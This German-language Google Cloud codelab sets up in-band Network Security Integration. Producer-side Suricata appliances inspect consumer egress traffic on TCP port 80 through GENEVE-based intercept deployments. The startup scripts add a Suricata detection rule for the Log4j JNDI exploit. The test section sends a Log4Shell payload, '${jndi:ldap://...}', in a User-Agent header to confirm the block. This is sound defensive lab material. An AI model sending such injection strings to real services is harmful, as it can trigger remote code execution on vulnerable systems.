1. Einführung
Integration für die Netzwerksicherheit
Die Netzwerksicherheits-Integration (Network Security Integration, NSI) bietet Flexibilität, um die Netzwerksicherheit für Ihre Arbeitslasten zu verbessern. Sie können eine speziell entwickelte Appliance von einem unabhängigen Softwareanbieter (Independent Software Vendor, ISV) eines Drittanbieters oder eine DPI-Engine (Deep Packet Inspection) verwenden, um die Nutzlast zu prüfen. Um eine nahtlose Integration mit diesen Drittanbieter-Appliances zu ermöglichen, macht Google Cloud die transparente Bereitstellung von Appliances ohne Netzwerk- oder Routingänderungen einfach.
Google Cloud bietet zwei Arten der Netzwerksicherheitsintegration: Out-of-Band und In-Band. In diesem Lab werden die Schritte zum Bereitstellen der In-Band-Netzwerksicherheitsintegration beschrieben.
In-Band-Integration für die Netzwerksicherheit
Die Netzwerksicherheitsintegration bietet eine In-Band-Integration mithilfe der Paketabfangtechnologie, mit der Sie Netzwerk-Appliances von Drittanbietern in den Pfad des Netzwerk-Traffics einfügen können, um Google Cloud-Arbeitslasten transparent zu prüfen. Bei diesem Verfahren wird Generic Network Virtualization Encapsulation (GENEVE) verwendet, um Pakete sicher an das Gerät zu übertragen, ohne die ursprünglichen Quell- und Ziel-IP-Adressen zu ändern.
Die In-Band-Integration bietet einen dienstorientierten Ansatz für die Bereitstellung und Nutzung von Inline-Netzwerk-Appliances von Drittanbietern im Bump-in-the-Wire-Modus. Als Dienstersteller können Sie eine skalierbare Gruppe von Netzwerk-Appliances von Drittanbietern als Intercept-Bereitstellung veröffentlichen. Als Dienstnutzer können Sie Cloud Next Generation Firewall-Richtlinien und -Regeln verwenden, um eine detaillierte Auswahl des Traffics zu treffen, der zur Prüfung transparent an einen lokalen Abfangendpunkt weitergeleitet werden soll.

Abbildung 1. Allgemeine Bereitstellungsarchitektur des In-Band-Integrationsdienstes
Weitere Informationen zur In-Band-NSI-Integration finden Sie in der Übersicht zur In-Band-Integration.
In-Band-Dienstersteller
Dienstersteller sind Orte, an denen Drittanbietergeräte bereitgestellt und verwaltet werden. Dies kann von einer Person in Ihrer Organisation (z. B. dem Sicherheitsteam) oder einem externen Anbieter verwaltet werden. Ersteller registrieren ihre virtuellen Maschinen, bei denen es sich um Drittanbieter-Appliances handeln kann, als Back-Ends für einen internen Passthrough-Network-Load-Balancer in ihrem VPC-Netzwerk. Diese Geräte untersuchen den Netzwerkverkehr, der an sie weitergeleitet wird. Dienstersteller erstellen dann Intercept-Bereitstellungen, eine zonale Ressource, die auf die Weiterleitungsregel des internen Passthrough-Network Load Balancers verweist.
Eine Abfangbereitstellung ist eine zonale Ressource, die den Inspektionsdienst des Erstellers für eine bestimmte Zone darstellt. Produzenten erstellen Intercept-Bereitstellungen für jede Zone, in der sie ihre VMs bereitgestellt haben.
Eine Abfangbereitstellungsgruppe ist eine globale, projektbezogene Ressource, mit der Nutzer eine Verbindung zu den Inspektionsdiensten eines Erstellers herstellen können. Ersteller erstellen eine Abfangbereitstellungsgruppe, um mehrere zonale Abfangbereitstellungen zu gruppieren. Mit IAM können Ersteller steuern, welche Nutzer eine Verbindung zu ihrer Bereitstellungsgruppe herstellen dürfen.
Weitere Informationen finden Sie unter Übersicht über Abfang-Bereitstellungsgruppen und Übersicht über Abfang-Bereitstellungen.
In-Band-Dienstnutzer
Dienstnutzer verwenden die von Erstellern angebotenen Prüfdienste. Nutzer geben an, welche VPCs sie prüfen lassen möchten und von welchem Ersteller. Dazu erstellen Nutzer eine Intercept-Endpunktgruppe, eine globale Ressource, die ihre Seite der Beziehung zwischen Ersteller und Nutzer darstellt, und verknüpfen die Intercept-Endpunktgruppe mit der Intercept-Bereitstellungsgruppe des Erstellers.
Um die Abfang-Endpunktgruppe den VPCs zuzuordnen, aus denen Traffic geprüft werden soll, erstellen Nutzer eine Abfang-Endpunktgruppen-Verknüpfung. Um den Traffic auszuwählen, der zur Überprüfung an den Produzenten gesendet werden soll, erstellen und verwenden Nutzer Netzwerk-Firewallrichtlinien. Verbraucher erstellen eine Sicherheitsprofilgruppe, die ein Sicherheitsprofil enthält, das auf ihre Abfangendpunktgruppe verweist. Anschließend erstellen sie eine Firewallregel, um Traffic, der bestimmten Kriterien entspricht, an die Geräte des Herstellers weiterzuleiten.
Obwohl die Intercept Endpoint Group(IEG) eine Ressource auf Projektebene ist, müssen sich die IEG und die IEG-Zuordnung nicht im selben Projekt befinden. Auf eine IEG kann über eine IEG-Verknüpfung aus anderen Projekten in Ihrer Organisation verwiesen werden. Sie stellt die Nutzerseite der Beziehung zwischen Ersteller und Nutzer dar. Nutzer erstellen eine Intercept-Endpunktgruppe, um den Inspektionsdienst eines Erstellers zu nutzen. Jede Intercept-Endpunktgruppe auf der Nutzerseite ist einer einzelnen Intercept-Bereitstellungsgruppe auf der Erstellerseite zugeordnet.
Weitere Informationen finden Sie unter Übersicht über Abfang-Endpunktgruppen und ‑Zuordnungen.
Kunden müssen eine Firewallrichtlinienregel erstellen, um Traffic an ihre Abfangendpunktgruppe weiterzuleiten. Nutzer können die Abgleichskriterien in der Firewallrichtlinienregel angeben und so festlegen, welcher Traffic von den Geräten des Erstellers geprüft werden soll.
Verbraucher erstellen ein benutzerdefiniertes Abfang-Sicherheitsprofil, um anzugeben, welche Abfang-Endpunktgruppe zum Prüfen des Traffics verwendet werden soll.
Verbraucher erstellen eine Sicherheitsprofilgruppe, um eine Gruppe von Sicherheitsprüfungsfunktionen zu definieren, die auf eine bestimmte Teilmenge des Traffics angewendet werden sollen. Eine Sicherheitsprofilgruppe enthält ein einzelnes benutzerdefiniertes Intercept-Sicherheitsprofil.
Umfang

Abbildung 2: Allgemeine Bereitstellungsarchitektur für dieses Codelab
Zur Vereinfachung dieses Codelabs verwenden Sie ein einzelnes Projekt und erstellen zwei VPC-Netzwerke. Außerdem verwalten Sie eine Reihe von Netzwerk- und Sicherheitsressourcen. In diesem Lab wird gezeigt, wie Sie die In-Band-Netzwerkdienstintegration mit einem Drittanbietergerät für die transparente Sicherheitsinsertion bereitstellen.
Die zu untersuchenden Flüsse werden anhand von Cloud Firewall-Abgleichsparametern ausgewählt, einschließlich des 5-Tupels (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport). Der Einfachheit halber untersuchen Sie in diesem Lab den gesamten ausgehenden Traffic auf TCP-Port 80.
Der Ersteller lässt eingehenden Traffic vom Gateway-IP-Subnetz der Ersteller-VPC (10.0.0.1/32) für UDP-Pakete mit dem Zielport 6081 zu, dem bekannten Port für GENEVE.
Der Endstatus der Netzwerk-Firewallrichtlinienregelbasis sieht etwa so aus:
Netzwerkrichtlinie für Produzenten:
Priorität | Richtung | Protokoll | Target | Quelle | Ziel | Zielport | Aktion |
100 | Eingehender Traffic | Alle | Alle | Systemdiagnosen | Alle | Alle | Zulassen |
200 | Eingehender Traffic | Alle | Alle | IAP | Alle | Alle | Zulassen |
300 | Eingehender Traffic | UDP | Alle | 10.0.0.1/32 | Alle | 6081 | Zulassen |
Richtlinie für Verbrauchernetzwerke:
Priorität | Richtung | Protokoll | Target | Quelle | Ziel | Zielport | Aktion |
200 | Eingehender Traffic | TCP | Alle | IAP | Alle | 22 | Zulassen |
800 | Ausgehender Traffic | TCP | Alle | Alle | Alle | 80 | Abfangen |
Lerninhalte
- In-Band-Implementierung der Netzwerksicherheits-Integration (NSI)
Voraussetzungen
- Google Cloud-Organisation und -Projekt
- Geeignete IAM-Berechtigungen
- Kenntnisse in der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten
- Kenntnisse der Konfiguration von Netzwerkrichtlinien-Firewalls
2. Hinweis
IAM-Rollen und -Berechtigungen
Für das Codelab zur In-Band-Implementierung der Netzwerksicherheits-Integration (NSI) benötigen Sie die folgenden IAM-Rollen:
- Compute Network Admin (
roles/compute.networkAdmin): Erforderlich zum Erstellen und Verwalten von VPC-Netzwerken, Subnetzen, Cloud Routern, NAT-Gateways und Load-Balancer-Backend-Diensten. - Compute-Sicherheitsadministrator (
roles/compute.securityAdmin): Erforderlich zum Erstellen, Konfigurieren und Zuordnen globaler Netzwerk-Firewall-Richtlinien und -Regeln. - Compute Instance Admin (
roles/compute.instanceAdmin.v1): Erforderlich, um die Suricata-Appliances und Consumer-Test-VMs bereitzustellen, eine SSH-Verbindung zu ihnen herzustellen und sie schließlich zu löschen. - Intercept Deployment Admin (
roles/networksecurity.interceptDeploymentAdmin): Wird vom Produzenten verwendet, um zonale Intercept-Bereitstellungen und die globale Bereitstellungsgruppe zu erstellen und zu verwalten. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): Wird vom Nutzer verwendet, um Abfang-Endpunktgruppen zu erstellen und sie seinem VPC-Netzwerk zuzuordnen. - Intercept Deployment User (
roles/networksecurity.interceptDeploymentUser): Diese Rolle ist für das Projekt des Erstellers erforderlich, um dem Nutzer die Berechtigung zu erteilen, eine Verbindung zur Bereitstellungsgruppe des Erstellers herzustellen. - Administrator für Sicherheitsprofile (
roles/networksecurity.securityProfileAdmin): Auf Organisationsebene erforderlich, um benutzerdefinierte Sicherheitsprofile für das Abfangen von Daten und Sicherheitsprofilgruppen zu erstellen und zu verwalten. - Administrator für Dienstnutzung (
roles/serviceusage.serviceUsageAdmin): Erforderlich, um die für die NSI-Funktionen erforderlichen APIsnetworksecurity.googleapis.comundcompute.googleapis.comzu aktivieren. - Projektbetrachter (
roles/viewer): Erforderlich, um die Projektkonfiguration und Informationen zur Organisationshierarchie für die Umgebungsvariablen abzurufen, die im gesamten Lab verwendet werden.
Google Cloud APIs
Achten Sie darauf, dass die erforderlichen Google Cloud-APIs in Ihrem Projekt aktiviert sind.
Aktivieren Sie die erforderlichen APIs, indem Sie die folgenden gcloud-Befehle in Cloud Shell ausführen.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Variablen erstellen/aktualisieren
In diesem Codelab werden $Variablen verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu erleichtern.
Führen Sie in Cloud Shell die folgenden Befehle aus und ersetzen Sie die Informationen in den Klammern nach Bedarf:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Aktionen für Produzenten
In diesem Abschnitt geht es um die Bereitstellung auf der Seite des Produzenten. Dazu gehören die Bereitstellung der VPC, der virtuellen Netzwerk-Appliance eines Drittanbieters und aller relevanten Komponenten für die Netzwerksicherheitsintegration.
VPC- und Cloud NAT-Komponenten
- VPC und Subnetz erstellen:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Rufen Sie die Subnetz-Gateway-IP für die Verwendung in Firewallregeln ab:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- FW-Richtlinie und -Regeln für die Ersteller-VPC erstellen Diese Firewallregeln lassen eingehenden Traffic für Systemdiagnosen, IAP und NSI zu:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Verknüpfen Sie die Ersteller-VPC mit der Netzwerk-Firewallrichtlinie:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Cloud Router und Cloud NAT für die NVA eines Drittanbieters bereitstellen, um erforderliche Pakete und Updates herunterzuladen:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
Drittanbieter-VMs
In diesem Lab stellen Sie Suricata bereit, einen Open-Source-Dienst zur Erkennung von Bedrohungen. Der Befehl enthält ein Startskript, mit dem Suricata installiert und konfiguriert wird. Es gibt auch iptables, die SNAT (Source Network Address Translation) und DNAT (Destination Network Address Translation) ausführen, um GENEVE-Pakete zu verarbeiten und darauf zu reagieren.
- Stellen Sie eine NVA eines Drittanbieters in Ihrer ersten Zone bereit.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Stellen Sie eine NVA eines Drittanbieters in Ihrer zweiten Zone bereit:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Komponenten des Ersteller-LoadBalancers
- Erstellen Sie eine generische Systemdiagnose, mit der die Verfügbarkeit Ihrer NVA von Drittanbietern geprüft wird:
gcloud compute health-checks create http nva-hc
- Erstellen Sie für jede Zone eine zonale nicht verwaltete Instanzgruppe:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Fügen Sie Ihren Instanzgruppen Instanzen hinzu:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Prüfen Sie mit den folgenden Befehlen, ob Ihre Instanzgruppen Ihre Instanzen enthalten:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Beispielausgabe:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- So erstellen Sie einen internen UDP-Backend-Dienst:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Fügen Sie dem Backend-Dienst beide Instanzgruppen hinzu:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Reservieren Sie interne IP-Adressen für Ihre Weiterleitungsregeln. Für jede Abfangbereitstellung ist eine eindeutige Weiterleitungsregel erforderlich:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Erstellen Sie die Weiterleitungsregel für jede Zone. Dies ist erforderlich, da für die Bereitstellung von Abfangvorgängen eine eindeutige Weiterleitungsregel erforderlich ist:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Komponenten für die Integration der Netzwerksicherheit
- So erstellen Sie eine Abfangbereitstellungsgruppe:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Prüfen Sie, ob die Bereitstellungsgruppe erfolgreich erstellt wurde:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Beispielausgabe:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Erstellen Sie für jede Zone eine Abfangbereitstellung:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Prüfen Sie, ob die Abfang-Deployments erfolgreich erstellt wurden:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Beispielausgabe:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Herzlichen Glückwunsch, Sie haben die Einrichtung auf Produzentenseite abgeschlossen. Als Nächstes konfigurieren Sie die Consumer-Seite, um den Traffic abzufangen und transparent an die Drittanbieter-Appliances zur Durchsetzung zu senden.
4. Nutzeraktionen
In diesem Lab werden zur Vereinfachung separate VPCs innerhalb eines einzelnen Projekts verwendet. In der Praxis können sich die Ersteller- und Nutzerressourcen jedoch in verschiedenen Projekten oder sogar in verschiedenen Organisationen befinden.
VPC- und Cloud NAT-Komponenten
- VPC und Subnetz erstellen:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Erstellen Sie den Cloud Router und das Cloud NAT-Gateway:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Abfang-Endpunktgruppe und ‑Verknüpfung
- Abfang-Endpunktgruppe erstellen:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Prüfen, ob der Endpunkt erfolgreich erstellt wurde:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Beispielausgabe:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Erstellen Sie eine Intercept-Endpunktgruppen-Verknüpfung und geben Sie die VPC des Nutzers an:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Validieren:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Beispielausgabe:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Sicherheitsprofil und Sicherheitsprofilgruppe
Als Nächstes erstellen Sie ein benutzerdefiniertes Sicherheitsprofil für das Abfangen und hängen es an die Sicherheitsprofilgruppe an. Das Sicherheitsprofil und die Sicherheitsprofilgruppe werden für das Abfangen von Paketen für Appliances von Drittanbietern verwendet.
- So erstellen Sie ein benutzerdefiniertes Security Profile für das Abfangen:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Prüfen Sie, ob das Sicherheitsprofil erfolgreich erstellt wurde:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Beispielausgabe:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Sicherheitsprofilgruppe erstellen:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Prüfen Sie, ob die SPG erfolgreich erstellt wurde:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Beispielausgabe:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Firewallrichtlinie, Regeln und Zuordnung
- So erstellen Sie eine globale Netzwerk-Firewallrichtlinie:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Erstellen Sie die Firewallregeln:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Erstellen Sie die Firewallregel, um den gesamten ausgehenden Traffic abzufangen, der NSI nutzt, und ihn transparent an unsere Drittanbieter-Appliance zu senden. Mit dieser Regel wird der gesamte ausgehende TCP-Traffic über Port 80 zur Prüfung gesendet.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Verknüpfen Sie die Cloud-Firewallrichtlinie mit dem VPC-Netzwerk:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Consumer-VMs
- Stellen Sie VMs bereit, die zum Validieren von NSI verwendet werden. Sie stellen drei VMs in drei Zonen bereit. Denken Sie daran, dass nur für zwei Zonen NSI aktiviert ist, für $zonec jedoch nicht.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
In-Band-Integration für die Netzwerksicherheit testen
- Stellen Sie eine SSH-Verbindung zur VM in $zonea (consumer-$zonea) her. Test-Traffic senden:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Test-Traffic an http://www.google.com senden:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Erwartete Ausgabe:
200
Der HTTP-Statuscode 200 gibt an, dass die Anfrage des Clients vom Server erfolgreich empfangen, verstanden und verarbeitet wurde.
- Senden Sie Log4j-Anfragen, die von Suricata über NSI blockiert werden sollen.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Erwartete Ausgabe:
000
Der HTTP-Antwortcode „000“ ist ein inoffizieller, nicht standardisierter Code, der von bestimmter Software verwendet wird, um anzugeben, dass kein gültiger HTTP-Statuscode empfangen wurde. Das bedeutet wahrscheinlich, dass die Anfrage von der Firewall blockiert wurde.
- Zurück zu Cloud Shell wechseln, indem Sie die SSH-Sitzung beenden
exit
- SSH-Verbindung zur VM in $zoneb (consumer-$zoneb) herstellen
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Senden Sie Test-Traffic:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Erwartete Ausgabe:
200
